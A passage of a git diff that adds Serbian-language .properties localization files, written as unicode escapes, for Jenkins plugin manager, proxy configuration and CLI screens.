Configuration=\u041F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u045A\u0435 HTTP Proxy +Submit=\u041F\u043E\u0442\u0432\u0440\u0434\u0438 +Upload\ Plugin=\u041E\u0442\u043F\u0440\u0435\u043C\u0438 \u043C\u043E\u0434\u0443\u043B\u0443 +uploadtext=\u041C\u043E\u0436\u0435\u0442\u0435 \u043E\u0442\u043F\u0440\u0435\u043C\u0438\u0442\u0438 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443 \u0443 \u0444\u043E\u0440\u043C\u0430\u0442\u0443 ".hpi", \u0434\u0430 \u0431\u0438\u0441\u0442\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043B\u0438 \u043C\u043E\u0434\u0443\u043B\u0443 \u0432\u0430\u043D\ +\u0446\u0435\u043D\u0442\u0440\u0430\u043B\u043D\u043E\u0433 \u0438\u0437\u0432\u043E\u0440\u0430 \u0437\u0430 \u043C\u043E\u0434\u0443\u043B\u0435. +File=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 +Upload=\u041E\u0442\u043F\u0440\u0435\u043C\u0438 +Update\ Site=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 \u0441\u0442\u0440\u0430\u043D\u0443 +URL=URL \u0430\u0434\u0440\u0435\u0441\u0430 +Other\ Sites=\u0414\u0440\u0443\u0433\u0435 \u0441\u0442\u0440\u0430\u043D\u0435 +lastUpdated=\u0417\u0430\u0434\u045A\u0435 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u043D\u043E: \u043F\u0440\u0435 {0} +Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +Port=\u041F\u043E\u0440\u0442 +User\ name=\u041A\u043E\u0440\u0438\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 +Server=\u0421\u0435\u0440\u0432\u0435\u0440 +Proxy\ Needs\ Authorization=Proxy-\u0443 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0434\u043E\u0432\u043B\u0430\u0448\u045B\u0435\u045A\u0435 +No\ Proxy\ Host=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 Proxy Host diff --git a/core/src/main/resources/hudson/PluginManager/available_sr.properties b/core/src/main/resources/hudson/PluginManager/available_sr.properties new file mode 100644 index 0000000000..84c0685cfb --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/available_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Updates=\u041D\u0430\u0434\u0433\u0440\u0430\u0434\u045A\u0435 +Available=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u0435 +Installed=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/PluginManager/checkUpdates_sr.properties b/core/src/main/resources/hudson/PluginManager/checkUpdates_sr.properties new file mode 100644 index 0000000000..c970a3513f --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/checkUpdates_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Update\ Center=\u0426\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 \u0410\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +Checking\ Updates...=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0430 +Done=\u0413\u043E\u0442\u043E\u0432\u043E +Go\ back\ to\ update\ center=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u0446\u0435\u043D\u0442\u0440\u0443 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 diff --git a/core/src/main/resources/hudson/PluginManager/check_sr.properties b/core/src/main/resources/hudson/PluginManager/check_sr.properties new file mode 100644 index 0000000000..00cfe6bee1 --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/check_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +lastUpdated=\ \u0417\u0430\u0434\u045A\u0435 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u043D\u043E: \u043F\u0440\u0435 {0} +Check\ now=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 \u0441\u0430\u0434\u0430 diff --git a/core/src/main/resources/hudson/PluginManager/index_sr.properties b/core/src/main/resources/hudson/PluginManager/index_sr.properties new file mode 100644 index 0000000000..c4d6e48481 --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Select=\u0418\u0437\u0430\u0431\u0435\u0440\u0438 +All=\u0421\u0432\u0435 +None=\u041D\u0438\u0458\u0435\u0434\u043D\u0443 +UpdatePageDescription=\u041C\u043E\u0434\u0443\u043B\u0435 \u0441\u043F\u0440\u0435\u043C\u0435 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435. +UpdatePageLegend=\u041E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u0438 \u0440\u0435\u0434\u043E\u0432\u0438 \u0441\u0443 \u0432\u0435\u045B \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u043D\u0438 \u0438 \u0447\u0435\u043A\u0430\u0458\u0443 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435.\ + \u041E\u0431\u043E\u0458\u0435\u043D\u0438 (\u0430\u043B\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0430\u0447\u043D\u0438) \u0440\u0435\u0434\u043E\u0432\u0438 \u0441\u0443 \u0443 \u0442\u043E\u043A\u0443 \u0438\u043B\u0438 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0438. diff --git a/core/src/main/resources/hudson/PluginManager/installed_sr.properties b/core/src/main/resources/hudson/PluginManager/installed_sr.properties new file mode 100644 index 0000000000..0adbdf655e --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/installed_sr.properties @@ -0,0 +1,29 @@ +# This file is under the MIT License by authors + +Update\ Center=\u0426\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 \u0410\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +Filter=\u041F\u0440\u043E\u0444\u0438\u043B\u0442\u0440\u0438\u0440\u0430\u0458 +Warning=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435 +requires.restart=\u041F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u0438 Jenkins. \u041E\u043F\u0430\u0441\u043D\u043E \u0458\u0435 \u043C\u0435\u045A\u0430\u0442\u0438 \u043C\u043E\u0434\u0443\u043B\u0435 \u0443 \u043E\u0432\u043E \u0432\u0440\u0435\u043C\u0435 - \u043F\u043E\u043D\u043E\u0432\u043E Jenkins \u043F\u0440\u0435 \u043D\u0435\u0433\u043E \u0448\u0442\u043E \u0434\u0435\u043B\u0443\u0458\u0435\u0442\u0435 \u0434\u0430\u0459\u0435. +This\ plugin\ cannot\ be\ enabled=\u041E\u0432\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043E\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u0430 +This\ plugin\ cannot\ be\ disabled=\u041E\u0432\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u0430 +This\ plugin\ cannot\ be\ uninstalled=\u041E\u0432\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u043D\u0435\u043C\u043E\u0436\u0435 \u0432\u0438\u0442\u0438 \u0434\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0430 +It\ has\ one\ or\ more\ disabled\ dependencies=\u041F\u043E\u0441\u0442\u043E\u0458\u0438 \u043D\u0430\u0458\u043C\u0430\u045A\u0435 \u0458\u0435\u0434\u043D\u0430 \u0438\u0441\u043A\u0459\u0443\u0447\u0435\u043D\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u043E\u0434 \u043A\u043E\u0458\u0435 \u043E\u0432\u0430 \u0437\u0430\u0432\u0438\u0441\u0438 +It\ has\ one\ or\ more\ enabled\ dependants=\u041F\u043E\u0441\u0442\u043E\u0458\u0438 \u043D\u0430\u0458\u043C\u0430\u045A\u0435 \u0458\u0435\u043D\u0434\u0430 \u0434\u0440\u0443\u0433\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u043A\u043E\u0458\u0430 \u0437\u0430\u0432\u0438\u0441\u0438 \u043E\u0434 \u045A\u0435 +It\ has\ one\ or\ more\ installed\ dependants=\u041F\u043E\u0441\u0442\u043E\u0458\u0438 \u043D\u0430\u0458\u043C\u0430\u045A\u0435 \u0458\u0435\u043D\u0434\u0430 \u0434\u0440\u0443\u0433\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u043A\u043E\u0458\u0430 \u0437\u0430\u0432\u0438\u0441\u0438 \u043E\u0434 \u045A\u0435 +No\ plugins\ installed.=\u041D\u0435\u043C\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430 +Uncheck\ to\ disable\ the\ plugin=\u0423\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u043A\u0432\u0430\u0447\u0438\u0446\u0443 \u0434\u0430 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438\u0442\u0435 \u043C\u043E\u0434\u0443\u043B\u0443 +Enabled=\u0410\u043A\u0442\u0438\u043D\u0432\u043E +Name=\u0418\u043C\u0435 +Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 +Previously\ installed\ version=\u041F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u043E \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 +Pinned=\u0424\u0438\u043A\u0441\u0438\u0440\u0430\u043D\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 +Uninstall=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 +No\ description\ available.=\u041D\u0435\u043C\u0430 \u043E\u043F\u0438\u0441\u0430 +downgradeTo=\u0412\u0440\u0430\u0442\u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u043D\u0430\u0437\u0430\u0434 \u043D\u0430 {0} +Unpin=\u041E\u0434\u043C\u0440\u0437\u043D\u0438 +wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins +Uninstallation\ pending=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443 +Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 \u045B\u0435 \u0441\u0442\u0443\u043F\u0438\u0442\u0438 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u043D\u043E\u0432\u043D\u043E\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 Jenkins +Restart\ Once\ No\ Jobs\ Are\ Running=\u041F\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0442\u0438 \u043A\u0430\u0434 \u043D\u0435 \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u0442\u0435\u043A\u0443\u045B\u0438\u0445 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. +New\ plugins\ will\ take\ effect\ once\ you\ restart\ Jenkins=\u041D\u043E\u0432\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u045B\u0435 \u0441\u0442\u0443\u043F\u0438\u0442\u0438 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u043D\u043E\u0432\u043E\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 +Restart\ Now=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 \u0441\u0430\u0434\u0430 diff --git a/core/src/main/resources/hudson/PluginManager/sidepanel_sr.properties b/core/src/main/resources/hudson/PluginManager/sidepanel_sr.properties new file mode 100644 index 0000000000..baba7c569c --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/sidepanel_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043A\u043E\u043D\u0442\u043E\u0440\u043B\u043D\u043E\u0458 \u043F\u0430\u043D\u0435\u043B\u0438 +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +Update\ Center=\u0426\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 \u0410\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/PluginManager/sites_sr.properties b/core/src/main/resources/hudson/PluginManager/sites_sr.properties new file mode 100644 index 0000000000..008225b821 --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/sites_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Update\ Center=\u0426\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +Add...=\u0414\u043E\u0434\u0430\u0458... +Remove=\u0423\u043A\u043B\u043E\u043D\u0438 diff --git a/core/src/main/resources/hudson/PluginManager/tabBar_sr.properties b/core/src/main/resources/hudson/PluginManager/tabBar_sr.properties new file mode 100644 index 0000000000..c7e4f8cb4b --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/tabBar_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Updates=\u041D\u0430\u0434\u0433\u0440\u0430\u0434\u045A\u0435 +Available=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u043E +Installed=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u043E +Advanced=\u041D\u0430\u043F\u0440\u0435\u0434\u043D\u043E +Sites=\u0421\u0442\u0440\u0430\u043D\u0438\u0446\u0435 diff --git a/core/src/main/resources/hudson/PluginManager/table_sr.properties b/core/src/main/resources/hudson/PluginManager/table_sr.properties new file mode 100644 index 0000000000..f1517b4aa2 --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/table_sr.properties @@ -0,0 +1,19 @@ +# This file is under the MIT License by authors + +Update\ Center=\u0426\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 \u0410\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +Filter=\u0424\u0438\u043B\u0442\u0440\u0438\u0440\u0430\u0458 +Check\ to\ install\ the\ plugin=\u0418\u0437\u0430\u0431\u0435\u0440\u0438\u0442\u0435 \u043A\u0432\u0430\u0447\u0438\u0446\u0443 \u0434\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0442\u0435 \u043C\u043E\u0434\u0443\u043B\u0443 +Click\ this\ heading\ to\ sort\ by\ category=\u041A\u043B\u0438\u043A\u043D\u0438\u0442\u0435 \u043E\u0432\u0430\u0458 \u043D\u0430\u0441\u043B\u043E\u0432 \u0434\u0430 \u0441\u043E\u0440\u0442\u0438\u0440\u0430\u0442\u0435 \u043F\u043E \u043A\u0430\u0442\u0435\u0433\u043E\u0440\u0438\u0458\u0438 +Install=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 +Name=\u0418\u043C\u0435 +Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 +Installed=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u043E +compatWarning=\ + \u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435: \u043D\u043E\u0432\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 \u043C\u043E\u0434\u0443\u043B\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u0434\u0440\u0443\u0433\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u043D\u0430 \u043E\u0434\u043D\u043E\u0441\u0443 \u043D\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0435. \u0417\u0430\u0434\u0430\u0446\u0438 \u043A\u043E\u0458\u0438 \u043A\u043E\u0440\u0438\u0441\u0442\u0435 \u043E\u0432\u0443 \u043C\u043E\u0434\u0443\u043B\u0443 \u045B\u0435 \u043C\u043E\u0436\u0434\u0430 \u043C\u043E\u0440\u0430\u0442\u0438 \u0431\u0438\u0442\u0438 \u0434\u0440\u0443\u0433\u0430\u0447\u0438\u0458\u0435 \u043F\u043E\u0434\u0435\u0448\u0435\u043D\u0438, \u0438 \u043C\u043E\u0436\u0434\u0430 \u043D\u0435\u045B\u0435\u0442\u0435 \u043C\u043E\u045B\u0438 \u0432\u0440\u0430\u0442\u0438\u0442\u0438 \u043D\u0430 \u0441\u0442\u0430\u0440\u0438\u0458\u0443 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u0431\u0435\u0437 \u0440\u0443\u0447\u043D\u043E\u0433 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430. \u0417\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430, \u043F\u043E\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0431\u0435\u043B\u0435\u0448\u043A\u0435 \u043E\u0432\u0435 \u043C\u043E\u0434\u0443\u043B\u0435. +coreWarning=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435: \u041C\u043E\u0434\u0443\u043B\u0430 \u0458\u0435 \u043A\u043E\u043C\u043F\u0430\u0442\u0438\u0431\u0438\u043B\u043D\u0430 \u0441\u0430 Jenkins \u0432\u0435\u0440\u0437\u0438\u0458\u0435 {0} \u0438\u043B\u0438 \u043D\u043E\u0432\u0438\u0458\u0435. \u041C\u043E\u0436\u0434\u0430 \u045B\u0435 \u0440\u0430\u0434\u0438\u0442\u0438 \u0441\u0430 \u0432\u0430\u0448\u043E\u0458 \u0432\u0435\u0440\u0437\u0438\u0458\u0438. +depCompatWarning=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435: \u043E\u0432\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u0437\u0430\u0445\u0442\u0435\u0432\u0430 \u0438\u0441\u043F\u0440\u0430\u0432\u0435 \u043D\u0430\u0434 \u043C\u043E\u0434\u0443\u043B\u0438\u043C\u0430 \u043E\u0434 \u043A\u043E\u0458\u0435 \u043E\u0432\u0430 \u0437\u0430\u0432\u0438\u0441\u043D\u0438. \u041D\u0435\u043A\u0438 \u043E\u0434 \u045A\u0438\u0445 \u043D\u0438\u0441\u0443 \u043A\u043E\u043C\u043F\u0430\u0442\u0438\u0431\u0438\u043B\u043D\u0438 \u0441\u0430 \u0432\u0430\u0448\u043E\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u043E\u043C Jenkins-\u0430. \u041C\u043E\u0440\u0430\u0442\u0435 \u0442\u0430\u043A\u043E\u0452\u0435 \u043F\u043E\u0434\u0435\u0441\u0438\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u043A\u043E\u0458\u0435 \u0438\u0445 \u043A\u043E\u0440\u0438\u0441\u0442\u0435. +depCoreWarning=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435: \u043E\u0432\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u0437\u0430\u0445\u0442\u0435\u0432\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0443 \u0434\u0440\u0443\u0433\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430 \u043A\u043E\u0458\u0435 \u0441\u0443 \u0441\u0430\u043C\u043E \u0437\u0430 Jenkins \u0432\u0435\u0440\u0437\u0438\u0458\u0443 {0} \u0438\u043B\u0438 \u043D\u043E\u0432\u0438\u0458\u0435. \u041F\u043E\u0441\u0442\u043E\u0458\u0438 \u0448\u0430\u043D\u0441\u0430 \u0434\u0430 \u043E\u043D\u0438 \u043D\u0435\u045B\u0435 \u0440\u0430\u0434\u0438\u0442\u0438 \u0441\u0430 \u0432\u0430\u0448\u043E\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u043E\u043C Jenkins-\u0430, \u0442\u0430\u043A\u043E\u0452\u0435 \u0438 \u043E\u0432\u0430. +Inactive=\u041D\u0435\u0430\u043A\u0442\u0438\u0432\u043D\u0435 +No\ updates=\u041D\u0435\u043C\u0430 \u043D\u0430\u0434\u0433\u0440\u0430\u0434\u045A\u0430 +Install\ without\ restart=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 \u0431\u0435\u0437 \u043F\u043E\u043D\u043E\u0432\u043E\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 +Download\ now\ and\ install\ after\ restart=\u041F\u0440\u0435\u0443\u0437\u043C\u0438 \u0441\u0430\u0434\u0430 \u0438 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458\u0442\u0435 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u043D\u043E\u0432\u043E\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_sr.properties b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_sr.properties new file mode 100644 index 0000000000..bca24ec786 --- /dev/null +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Correct=\u041F\u0440\u0430\u0432\u0438\u043B\u043D\u043E diff --git a/core/src/main/resources/hudson/PluginWrapper/thirdPartyLicenses_sr.properties b/core/src/main/resources/hudson/PluginWrapper/thirdPartyLicenses_sr.properties new file mode 100644 index 0000000000..5790695505 --- /dev/null +++ b/core/src/main/resources/hudson/PluginWrapper/thirdPartyLicenses_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +about=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0430 \u043E {0} +3rd\ Party\ Dependencies=\u0417\u0430\u0432\u0438\u0441\u043D\u043E\u0441\u0442\u0438 \u0441\u0430 \u0440\u0430\u0437\u043D\u0438\u0445 \u0441\u0442\u0440\u0430\u043D\u0430 +No\ information\ recorded=\u041D\u0438\u0458\u0435 \u043D\u0438\u0448\u0442\u0430 \u0437\u0430\u043F\u0438\u0441\u0430\u043D\u043E diff --git a/core/src/main/resources/hudson/PluginWrapper/uninstall_sr.properties b/core/src/main/resources/hudson/PluginWrapper/uninstall_sr.properties new file mode 100644 index 0000000000..cf1a20a90e --- /dev/null +++ b/core/src/main/resources/hudson/PluginWrapper/uninstall_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +title=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u043C\u043E\u0434\u0443\u043B\u0435 {0} +Yes=\u0414\u0430 +msg=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0442\u0438 \u045B\u0435 \u0442\u0435 \u043C\u043E\u0434\u0443\u043B\u0443 {0}, \u0448\u0442\u043E \u045B\u0435 \u0458\u0435 \u0438\u0437\u0431\u0440\u0438\u0441\u0430\u0442\u0438 \u0441\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0435 $JENKINS_HOME, \u0430\u043B\u0438 \u045B\u0435 \u043F\u0440\u0435\u043E\u0441\u0442\u0430\u0442\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 \u043E \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0443. \ No newline at end of file diff --git a/core/src/main/resources/hudson/ProxyConfiguration/config_sr.properties b/core/src/main/resources/hudson/ProxyConfiguration/config_sr.properties new file mode 100644 index 0000000000..3e622e98ad --- /dev/null +++ b/core/src/main/resources/hudson/ProxyConfiguration/config_sr.properties @@ -0,0 +1,21 @@ +# This file is under the MIT License by authors + +Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +User\ name=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 +Port=\u041F\u043E\u0440\u0442 +Server=\u0421\u0435\u0440\u0432\u0435\u0440 +No\ Proxy\ Host=\u041D\u0435\u043C\u0430 Proxy \u0425\u043E\u0441\u0442 +Validate\ Proxy=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 Proxy +Proxy\ Needs\ Authorization=\u041F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0430\u0443\u0442\u043E\u0440\u0438\u0437\u0430\u0446\u0438\u0458\u0430 \u0437\u0430 Proxy +No\ Proxy\ for=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 Proxy \u0437\u0430 +Check\ now=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 \u0441\u0430\u0434\u0430 +HTTP\ Proxy\ Configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 HTTP Proxy +Submit=\u041F\u043E\u0434\u043D\u0435\u0441\u0438 +lastUpdated=\u0417\u0430\u0434\u045A\u0435 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u043D\u043E: \u043F\u0440\u0435 {0} +uploadtext=\u041C\u043E\u0436\u0435\u0442\u0435 \u043E\u0442\u043F\u0440\u0435\u043C\u0438\u0442\u0438 .hpi \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443 \u0434\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0442\u0435 \u043C\u043E\u0434\u0443\u043B\u0443 \u043A\u043E\u0458\u0430 \u0458\u0435 \u0432\u0430\u043D \u0433\u043B\u0430\u0432\u043D\u043E\u0433 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0430 \u0437\u0430 \u043C\u043E\u0434\u0443\u043B\u0435. +Test\ URL=URL \u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430 \u0442\u0435\u0441\u0442\u0438\u0440\u0430\u045A\u0435 +Upload\ Plugin=\u041E\u0442\u043F\u0440\u0435\u043C\u0438 \u043C\u043E\u0434\u0443\u043B\u0443 +File=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 +Upload=\u041E\u0442\u043F\u0440\u0435\u043C\u0438 +URL=URL \u0430\u0434\u0440\u0435\u0441\u0430 +Update\ Site=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 \u0441\u0442\u0440\u0430\u043D\u0443 \ No newline at end of file diff --git a/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties b/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties new file mode 100644 index 0000000000..704a2a0c31 --- /dev/null +++ b/core/src/main/resources/hudson/cli/CLIAction/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Jenkins\ CLI=Jenkins \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 +blurb=\u041F\u043E\u043C\u043E\u045B\u0443 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 Jenkins \u043C\u043E\u0436\u0435\u0442\u0435 \u0434\u043E\u0431\u0438\u0442\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u0432\u0435\u043B\u0438\u043A\u043E\u043C \u0431\u0440\u043E\u0458\u0443 \u0444\u0443\u043D\u043A\u0446\u0438\u0458\u0430. \u0414\u0435\u0442\u0430\u0459\u043D\u0435 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0435 \u043D\u0430 \u0443 Jenkins \u0432\u0438\u043A\u0438. \u0423 \u0446\u0438\u0459\u0443 \u0434\u0430 \u043F\u043E\u0447\u043D\u0435\u0442\u0435 \u0434\u0430 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0443, \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0434\u0430 \u043F\u0440\u0435\u0443\u0437\u043C\u0435\u0442\u0435 jenkins-cli.jar, \u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u043F\u0430\u043A\u0435\u0442 \u043D\u0430 \u0441\u043B\u0435\u0434\u0435\u045B\u0438 \u043D\u0430\u0447\u0438\u043D: +Available\ Commands=\u0414\u043E\u0441\u0442\u0443\u043F\u043D\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 diff --git a/core/src/main/resources/hudson/cli/Messages_sr.properties b/core/src/main/resources/hudson/cli/Messages_sr.properties new file mode 100644 index 0000000000..a504742d83 --- /dev/null +++ 